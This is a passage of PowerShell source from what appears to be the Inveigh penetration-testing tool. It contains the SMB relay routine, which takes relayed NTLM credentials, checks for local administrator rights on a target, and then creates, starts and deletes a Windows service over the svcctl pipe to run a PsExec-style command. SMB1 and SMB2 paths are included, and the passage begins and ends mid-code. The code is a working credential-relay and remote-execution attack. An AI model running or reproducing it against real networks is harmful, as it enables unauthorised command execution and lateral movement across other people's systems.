{ - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'CreateServiceW' - { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Last' - { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log_file_queue.Add("Trying to execute SMB relay command on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") - } - - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") - $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") - $SMB_service_context_handle = $SMB_client_receive[92..111] - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'DeleteServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') - { - $inveigh.console_queue.Add("SMB relay command executed on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") - } - - } - - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } - - 'CloseServiceHandle' - { - - if($SMB_close_service_handle_stage -eq 1) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") - $SMB_close_service_handle_stage++ - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - } - else - { - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - } - - 'CloseRequest' - { - $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'TreeDisconnect' - } - - 'TreeDisconnect' - { - $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Logoff' - } - - 'Logoff' - { - $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBLogoffAndXRequest - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Exit' - } - - } - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $Target") - $SMB_client_stage = 'Exit' - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - } - - } - - } - else - { - - $SMB_client_stage = 'TreeConnect' - - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'TreeConnect' - { - $SMB2_message_ID = 4 - $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'CreateRequest' - } - - 'CreateRequest' - { - $SMB2_tree_ID = 0x01,0x00,0x00,0x00 - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes - $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'RPCBind' - } - - 'RPCBind' - { - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadRequest' - { - - Start-Sleep -m 150 - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 - $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - else - { - $SMB_client_stage = 'StatusPending' - } - - } - - 'StatusPending' - { - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - - } - - 'OpenSCManagerW' - { - $SMB2_message_ID = 30 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - $SMB_service_manager_context_handle = $SMB_client_receive[108..127] - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'CreateServiceW' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $SMB2_message_ID += 20 - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $SMB2_message_ID++ - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - 